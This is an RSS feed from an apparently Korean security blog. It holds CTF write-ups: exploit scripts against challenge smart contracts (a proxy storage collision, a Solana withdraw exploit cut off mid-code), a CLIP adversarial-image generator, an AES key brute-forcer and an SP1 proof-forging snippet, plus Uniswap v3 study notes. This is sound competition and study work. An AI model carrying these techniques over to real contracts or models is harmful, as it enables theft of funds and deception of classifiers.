<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>gss1</title>
    <link>https://gss1.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 13 Apr 2026 04:57:36 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>gss1</managingEditor>
    <item>
      <title>hitcon 2025 - web3</title>
      <link>https://gss1.tistory.com/entry/hitcon-2025-web3</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;solve.sol&lt;br /&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/4201acc4ff776ada145df401f17f16b9&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://gist.github.com/kangsangsoo/4201acc4ff776ada145df401f17f16b9&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;solve.sh&lt;br /&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/2065afa98fc35e25e408ec30e05377c9&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://gist.github.com/kangsangsoo/2065afa98fc35e25e408ec30e05377c9&lt;/a&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/202</guid>
      <comments>https://gss1.tistory.com/entry/hitcon-2025-web3#entry202comment</comments>
      <pubDate>Sun, 24 Aug 2025 23:50:15 +0900</pubDate>
    </item>
    <item>
      <title>codegate 2025 final blockchain - dex</title>
      <link>https://gss1.tistory.com/entry/codegate-2025-final-blockchain-dex</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;br /&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/43782c347e0a39b393e13013b55dc9cd&quot;&gt;https://gist.github.com/kangsangsoo/43782c347e0a39b393e13013b55dc9cd&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.sol&lt;br /&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/767688265f19d9650a7ae937659110ff&quot;&gt;https://gist.github.com/kangsangsoo/767688265f19d9650a7ae937659110ff&lt;/a&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/201</guid>
      <comments>https://gss1.tistory.com/entry/codegate-2025-final-blockchain-dex#entry201comment</comments>
      <pubDate>Fri, 11 Jul 2025 18:44:12 +0900</pubDate>
    </item>
    <item>
      <title>codegate 2025 quals - ai</title>
      <link>https://gss1.tistory.com/entry/codegate-2025-quals-ai</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;bright&lt;/h3&gt;
&lt;pre id=&quot;code_1743312108280&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import torch
import clip
import numpy as np
from PIL import Image

device = &quot;cuda&quot; if torch.cuda.is_available() else &quot;cpu&quot;

# 1. CLIP 모델 로드
model, preprocess = clip.load(&quot;ViT-B/32&quot;, device=device)
model.eval()

# 2. 타겟 이미지 로딩
target_image = Image.open(&quot;oiia.png&quot;).convert(&quot;RGB&quot;)
target_tensor = preprocess(target_image).unsqueeze(0).to(device)

with torch.no_grad():
    target_features = model.encode_image(target_tensor)
    target_features = target_features / target_features.norm(dim=-1, keepdim=True)

target_features_np = target_features[0].detach().cpu().numpy().astype(np.float64)
target_features_np /= np.linalg.norm(target_features_np)

# 3. 초기 이미지 (흰색)
initial_image = torch.full((1, 3, 224, 224), 1.0, requires_grad=True, device=device)

# 4. Normalize 함수
def normalize_for_clip(img_tensor):
    mean = torch.tensor([0.48145466, 0.4578275, 0.40821073], device=img_tensor.device).view(1, 3, 1, 1)
    std  = torch.tensor([0.26862954, 0.26130258, 0.27577711], device=img_tensor.device).view(1, 3, 1, 1)
    return (img_tensor - mean) / std

# 5. 최적화 설정
optimizer = torch.optim.Adam([initial_image], lr=6e-3)
num_iterations = 5000
best_similarity = -1.0
best_img = None

# 6. 학습 루프
for step in range(num_iterations):
    img_clamped = torch.clamp(initial_image, 0.0, 1.0)
    normalized_img = normalize_for_clip(img_clamped)

    current_features = model.encode_image(normalized_img)
    current_features = current_features / current_features.norm(dim=-1, keepdim=True)

    # torch 유사도 (gradient 유지)
    similarity = (current_features * target_features).sum()
    loss = -similarity  # 밝기 페널티 없이 원래 방식대로

    optimizer.zero_grad()
    loss.backward()
    optimizer.step()

    # 하드하게 밝기 유지
    with torch.no_grad():
        if initial_image.mean() &amp;lt; 0.98:
            diff = 0.98 - initial_image.mean()
            initial_image += diff

    # 평가용 np 유사도
    feat_np = current_features[0].detach().cpu().numpy().astype(np.float64)
    feat_np /= np.linalg.norm(feat_np)
    true_similarity = np.dot(feat_np, target_features_np)

    if true_similarity &amp;gt; best_similarity:
        best_similarity = true_similarity
        best_img = img_clamped.detach().clone()

    if step % 50 == 0 or step == num_iterations - 1:
        print(f&quot;Step {step}/{num_iterations}, np_sim={true_similarity:.6f}, torch_sim={similarity.item():.6f}, mean={img_clamped.mean().item() * 255:.2f}&quot;)

    if true_similarity &amp;gt;= 0.99999:
        print(f&quot;\n✅ Reached similarity {true_similarity:.6f} at step {step}&quot;)
        break

# 7. 후처리 및 저장
if best_img is None:
    best_img = torch.clamp(initial_image, 0.0, 1.0).detach()

final_img_np = best_img[0].cpu().numpy() * 255
final_img_np = np.moveaxis(final_img_np, 0, -1)
mean_val = final_img_np.mean()

if mean_val &amp;lt; 250:
    scale_factor = 250.0 / mean_val
    final_img_np = np.clip(final_img_np * scale_factor, 0, 255)

final_img = Image.fromarray(final_img_np.astype(np.uint8))
final_img.save(&quot;adversarial_scaled.png&quot;, format=&quot;PNG&quot;, compress_level=0)

print(f&quot;\n  Final similarity: {best_similarity:.6f}&quot;)
print(f&quot;  Final mean pixel: {final_img_np.mean():.2f}&quot;)
print(&quot;✅ Saved to: adversarial_scaled.png&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;rotceteD&amp;nbsp;TPG&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/8ae40743dac7a4c9af4ac4f05e6ee60c&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://gist.github.com/kangsangsoo/8ae40743dac7a4c9af4ac4f05e6ee60c&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1743312200128&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;
import itertools
from Crypto.Cipher import AES
from multiprocessing import Pool, cpu_count
from math import comb
import os

# cands 세팅
cand = ['000.txt', '001.txt', '002.txt', '003.txt', '004.txt', '006.txt', '008.txt', '009.txt', '010.txt', '011.txt', '013.txt', '014.txt', '018.txt', '019.txt', '022.txt', '023.txt', '025.txt', '026.txt', '028.txt', '029.txt', '030.txt', '031.txt', '033.txt', '035.txt', '037.txt', '038.txt', '040.txt', '041.txt', '043.txt', '044.txt', '045.txt', '047.txt', '051.txt', '054.txt', '055.txt', '056.txt', '057.txt', '058.txt', '060.txt', '061.txt', '063.txt', '064.txt', '065.txt', '067.txt', '075.txt', '077.txt', '079.txt', '083.txt', '084.txt', '085.txt', '089.txt', '092.txt', '097.txt', '098.txt', '100.txt', '104.txt', '106.txt', '110.txt', '112.txt', '113.txt', '114.txt', '119.txt', '120.txt', '122.txt', '123.txt', '124.txt', '125.txt', '126.txt', '127.txt']
cands = [int(x.split('.')[0]) for x in cand]

# AES 세팅
nonce = bytes.fromhex('3d6b85f9299442b2219a44aee1345e16')
ciphertext = bytes.fromhex('c88f0e97fbe289c7800a68c2aae64a1825e0405cca87f6360e5f194e43978e1772f09a5bd2812cf9db8cf9008be7e34222ed9ee22bf6188358a49ada4e6d5ae16e71b0807d414f')
tag = bytes.fromhex('c58e546b2fed995d0a6a723c8f10f6d1')

# 개별 조합을 받아서 복호화 시도
def try_decrypt(combo):
    key = 0
    combos = []
    for i in combo:
        combos.append(cands[i])
    for i in combos:
        assert i in cands
    assert len(set(combos)) == 64
    for j in range(128):
        key *= 2
        if j in combos:
            key = key + 1
    key_bytes = key.to_bytes(16, byteorder='big')

    cipher = AES.new(key_bytes, AES.MODE_GCM, nonce=nonce)
    try:
        plaintext = cipher.decrypt_and_verify(ciphertext, tag)
        return plaintext  # 성공 시 리턴
    except:
        return None
    
from tqdm import tqdm
from itertools import combinations

if __name__ == '__main__':
    from tqdm import tqdm

    num_workers = cpu_count()
    print(f&quot;[*] Using {num_workers} CPU cores.&quot;)

    numbers = list(range(len(cands)))  
    all_combos = itertools.combinations(numbers, 64)  

    

    with Pool(num_workers) as pool:
        for result in tqdm(pool.imap_unordered(try_decrypt, all_combos), total=comb(len(cands), 64), desc=&quot;Brute-forcing&quot;):
            if result:
                print(&quot;\n[✓] 복호화 성공:&quot;, result.decode(errors='ignore'))
                pool.terminate()  # 성공 시 다른 프로세스 종료
                break&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/200</guid>
      <comments>https://gss1.tistory.com/entry/codegate-2025-quals-ai#entry200comment</comments>
      <pubDate>Sun, 30 Mar 2025 14:26:05 +0900</pubDate>
    </item>
    <item>
      <title>hxp 38C3 CTF - respectable_nft</title>
      <link>https://gss1.tistory.com/entry/hxp-38C3-CTF-respectablenft</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Find a storage collision!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The mapping(uint256 =&amp;gt; string) public FlagNames is stored in slot 6. To brute-force it, focus on cases where the string length is 32 or greater.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When the ID is 56488061, the implementation slot of proxy is 141 slots apart.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1735502202001&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from Crypto.Hash import keccak
from tqdm import tqdm

def compute_flagnames_length_slot(key: int, base_slot: int = 0) -&amp;gt; str:
    key_bytes = key.to_bytes(32, byteorder='big')
    slot_bytes = base_slot.to_bytes(32, byteorder='big')

    hasher = keccak.new(digest_bits=256)
    hasher.update(key_bytes + slot_bytes)
    length_slot_hex = &quot;0x&quot; + hasher.hexdigest()
    return length_slot_hex

def compute_data_slot(length_slot_hex: str, offset: int = 0) -&amp;gt; str:
    length_slot_no_0x = length_slot_hex[2:]  
    length_slot_bytes = bytes.fromhex(length_slot_no_0x)

    hasher2 = keccak.new(digest_bits=256)
    hasher2.update(length_slot_bytes)
    data_offset_hex = &quot;0x&quot; + hasher2.hexdigest()
    return data_offset_hex


target_hashes_hex = [
    &quot;0x6ec82d6c1818e9fe1ca828d3577e9b2dadd8d4720dd58701606af804c069cfcb&quot;,
    &quot;0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6&quot;
]
target_hashes_int = [int(h, 16) for h in target_hashes_hex]

def is_within_tolerance(slot_hex: str, targets: list[int], tolerance: int = 1000) -&amp;gt; bool:
    slot_val = int(slot_hex, 16)
    for t in targets:
        if abs(slot_val - t) &amp;lt;= tolerance:
            return True
    return False

def main():
    for i in [6]:
        print(f&quot;[+] Starting search for i={i}&quot;)
        for j in tqdm(range(0, 100000000), desc=f&quot;i={i}&quot;):
            length_slot_hex = compute_flagnames_length_slot(j, i)
            data_slot_hex = compute_data_slot(length_slot_hex, offset=0)

            if is_within_tolerance(data_slot_hex, target_hashes_int, tolerance=10000):
                print(f&quot;Found! i={i}, j={j}, data_slot={data_slot_hex}&quot;)
                break

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1735502243053&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve {
    Setup public setup;
    CryptoFlags public cryptoFlags;

    constructor(address _setup){
        setup = Setup(_setup);
        cryptoFlags = CryptoFlags(setup.cryptoFlags());
    }

    function solve(bytes memory answer) public {
        cryptoFlags.claimFlag(56488061);
        cryptoFlags.setFlagName(56488061, string(answer));
    }

    function isSolved() external pure returns (bool) {
        return true;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1735502256586&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider(&quot;http://10.244.0.1:8545&quot;))

#Check Connection
t=w3.is_connected()
print(t)

# Get env
prikey = '0x4ca9a10b1f99cba18cb244c1737286e59f2da53b71d535126b3db6de3d0cead3'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

SETUP = &quot;0x2d2174DA255968410293bc12bb6cCa11905b8eD0&quot;

def solve_deploy():
    f = open(&quot;solve.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;solve.bin&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(SETUP).build_transaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

def solve():
    f = open('solve.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SOLVE, abi=abi)
    addr = b&quot;\x00&quot; * 12 + long_to_bytes(int(SOLVE, 16))
    func_call = contract.functions[&quot;solve&quot;](addr * 150).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

SOLVE = solve_deploy()
solve()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/199</guid>
      <comments>https://gss1.tistory.com/entry/hxp-38C3-CTF-respectablenft#entry199comment</comments>
      <pubDate>Mon, 30 Dec 2024 05:00:57 +0900</pubDate>
    </item>
    <item>
      <title>lakectf 2025 qual - silly, hopfield</title>
      <link>https://gss1.tistory.com/entry/lakectf-2025-qual</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;hopfield&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1733666160001&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import numpy as np
from PIL import Image
import os

# 모델 로드
data = np.load('model.npz')
W = data['W']  # (N, N)
v0 = data['v0']  # (N, N)
N = W.shape[0]

def analyze_hopfield_weights(W):
    # Perform eigen decomposition
    eigenvalues, eigenvectors = np.linalg.eigh(W)
    
    # Threshold eigenvectors to recover patterns
    recovered_patterns = np.sign(eigenvectors)

    
    return recovered_patterns, eigenvalues, eigenvectors

def recover_patterns_from_eigenvectors(eigenvalues, eigenvectors, threshold=0):
    # Select eigenvectors with eigenvalues greater than the threshold
    significant_indices = np.where(eigenvalues &amp;gt; threshold)[0]
    significant_eigenvectors = eigenvectors[:, significant_indices]
    
    # Binarize (threshold) the eigenvectors to obtain patterns
    recovered_patterns = np.sign(significant_eigenvectors)
    
    return recovered_patterns.T 

def pattern_to_image(pattern, image_shape):
    # Map -1, 1 to 0, 255
    image = (pattern + 1) * 127.5  # -1 -&amp;gt; 0, +1 -&amp;gt; 255
    image = image.reshape(image_shape).astype(np.uint8)
    return image

def save_pattern_as_image(pattern, image_shape, file_path):
    # Map -1, 1 to 0, 255 and reshape
    image = (pattern + 1) * 127.5  # -1 -&amp;gt; 0, +1 -&amp;gt; 255
    image = image.reshape(image_shape).astype(np.uint8)
    
    # Convert to PIL Image and save
    img = Image.fromarray(image)
    img.save(file_path)

recovered_patterns, eigenvalues, eigenvectors = analyze_hopfield_weights(W)
recovered_patterns = recover_patterns_from_eigenvectors(eigenvalues, eigenvectors)
os.makedirs(&quot;gggg&quot;, exist_ok=True)
for i in range(len(recovered_patterns)):
    save_pattern_as_image(recovered_patterns[i], (10, 120), &quot;gggg/&quot; + str(i) + &quot;.png&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;120&quot; data-origin-height=&quot;10&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xe45a/btsLaxy5c2T/bQ8Sq9fSuEkNMhXkJXPtF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xe45a/btsLaxy5c2T/bQ8Sq9fSuEkNMhXkJXPtF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xe45a/btsLaxy5c2T/bQ8Sq9fSuEkNMhXkJXPtF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxe45a%2FbtsLaxy5c2T%2FbQ8Sq9fSuEkNMhXkJXPtF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;336&quot; height=&quot;28&quot; data-origin-width=&quot;120&quot; data-origin-height=&quot;10&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Silly&amp;nbsp;Project&amp;nbsp;#1&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. change first stdin&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. re-proof that&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1733666283448&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;use base64::Engine;
use sp1_sdk::ProverClient;
use std::fs::File;
use std::io::Write;

pub const ELF: &amp;amp;[u8] = include_bytes!(&quot;../../../elf/silly-project-1-program&quot;);

fn main() {
    let client = ProverClient::new();
    let (pk, vk) = client.setup(ELF);
    println!(&quot;Prove it!&quot;);
    let mut proof: sp1_sdk::SP1ProofWithPublicValues = bincode::deserialize(
        &amp;amp;base64::prelude::BASE64_STANDARD
            .decode(
                &amp;amp;std::io::stdin()
                    .lines()
                    .next()
                    .expect(&quot;No line&quot;)
                    .expect(&quot;No line&quot;)[..],
            )
            .expect(&quot;base64&quot;),
    )
    .expect(&quot;Proof format&quot;);
    proof.stdin.buffer[0][0] = 1;
    let mut my_proof= client.prove(&amp;amp;pk, proof.stdin.clone()).run();
    my_proof.unwrap().save(&quot;mymy.proof&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/198</guid>
      <comments>https://gss1.tistory.com/entry/lakectf-2025-qual#entry198comment</comments>
      <pubDate>Sun, 8 Dec 2024 22:58:40 +0900</pubDate>
    </item>
    <item>
      <title>uniswap v3: the range of sqrtPriceX96</title>
      <link>https://gss1.tistory.com/entry/uniswap-v3-the-range-of-sqrtPriceX96</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt; It's very interesting to find the reasoning behind each line of code, especially in Uniswap, which has been forked hundreds of times. I feel that understanding Uniswap v3, where the tick concept was introduced, is much more difficult than understanding v2. I aim to understand everything about v3 on my own and organize it into a blog post. &lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The topic is why it's &amp;lt; instead of &amp;lt;= &lt;a style=&quot;color: #000000;&quot; href=&quot;https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/TickMath.sol#L63&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;in thie code&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;</description>
      <category>study</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/197</guid>
      <comments>https://gss1.tistory.com/entry/uniswap-v3-the-range-of-sqrtPriceX96#entry197comment</comments>
      <pubDate>Mon, 18 Nov 2024 03:00:41 +0900</pubDate>
    </item>
    <item>
      <title>uniswap v3: the range of sqrtPriceLimitX96</title>
      <link>https://gss1.tistory.com/entry/uniswap-v3-the-range-of-sqrtPriceLimitX96</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;It's very interesting to find the reasoning behind each line of code, especially in Uniswap, which has been forked hundreds of times. I feel that understanding Uniswap v3, where the tick concept was introduced, is much more difficult than understanding v2. I aim to understand everything about v3 on my own and organize it into a blog post.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The topic is why it&amp;rsquo;s &amp;lt;, &amp;gt; instead of &amp;lt;=, &amp;gt;= &lt;a style=&quot;color: #000000;&quot; href=&quot;https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L610-L611&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;in this code&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>study</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/196</guid>
      <comments>https://gss1.tistory.com/entry/uniswap-v3-the-range-of-sqrtPriceLimitX96#entry196comment</comments>
      <pubDate>Mon, 18 Nov 2024 02:55:55 +0900</pubDate>
    </item>
    <item>
      <title>2024 Blaz CTF - solana challs</title>
      <link>https://gss1.tistory.com/entry/2024-Blaz-CTF-solana-challs</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I participated in BlazCTF with KimchiPremium.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;There were two solana challenges like pwnable.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;safusol&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1728393863223&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#![cfg(not(feature = &quot;no-entrypoint&quot;))]

use std::ops::Deref;

use solana_program::declare_id;
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;

use solana_program::{
    account_info::AccountInfo,
    entrypoint,
    entrypoint::ProgramResult,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    msg,
};
use std::rc::Rc;


declare_id!(&quot;FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand&quot;);

const INIT: u32 = 0xe1c7392a;
const REGISTER: u32 = 0x1aa3a008;
const DEPOSIT: u32 = 0xb6b55f25;
const WITHDRAW: u32 = 0x2e1a7d4d;
const TOGGLE: u32 = 0x40a3d246;


use std::mem;
use std::slice;

// Rust에서 C 구조체와 동일한 구조체 정의
#[repr(C, packed)]
struct Calldata {
    selector: u32,
    bump: u8,
}


// C 구조체를 Vec&amp;lt;u8&amp;gt;으로 변환하는 함수
fn struct_to_vec(input: &amp;amp;Calldata) -&amp;gt; Vec&amp;lt;u8&amp;gt; {
    let base_size = mem::size_of::&amp;lt;Calldata&amp;gt;();
    let total_size = base_size;

    let mut buffer: Vec&amp;lt;u8&amp;gt; = Vec::with_capacity(total_size);

    let input_slice = unsafe {
        slice::from_raw_parts(
            input as *const Calldata as *const u8,
            base_size
        )
    };
    buffer.extend_from_slice(input_slice);

    buffer
}


entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {

        let account_iter = &amp;amp;mut accounts.iter();
        let user = next_account_info(account_iter)?;
        let program = next_account_info(account_iter)?;
        let system_program = next_account_info(account_iter)?;
        let config_account = next_account_info(account_iter)?;
        let vault_account = next_account_info(account_iter)?;
        let balance_account = next_account_info(account_iter)?;
        

        let (config_addr, config_bump) = Pubkey::find_program_address(&amp;amp;[&quot;CONFIG&quot;.as_bytes()], &amp;amp;program.key);
        let (vault_addr, vault_bump) = Pubkey::find_program_address(&amp;amp;[&quot;VAULT&quot;.as_bytes()], &amp;amp;program.key);
        let (balance_addr, balance_bump) = Pubkey::find_program_address(&amp;amp;[&quot;BALANCE&quot;.as_bytes(), &amp;amp;user.key.to_bytes()], &amp;amp;program.key);


        {

            let input = Calldata {
                selector: REGISTER,
                bump: balance_bump,
            };
        
            let cont = struct_to_vec(&amp;amp;input);

            let register = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(vault_account.key.clone(), false),
                    AccountMeta::new(balance_account.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                    AccountMeta::new(config_account.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;register, 
                &amp;amp;[
                    user.clone(),
                    vault_account.clone(),
                    balance_account.clone(),
                    program.clone(),
                    system_program.clone(),
                    config_account.clone(),
            ]);
        }

        {

            let input = Calldata {
                selector: WITHDRAW,
                bump: 0,
            };
        
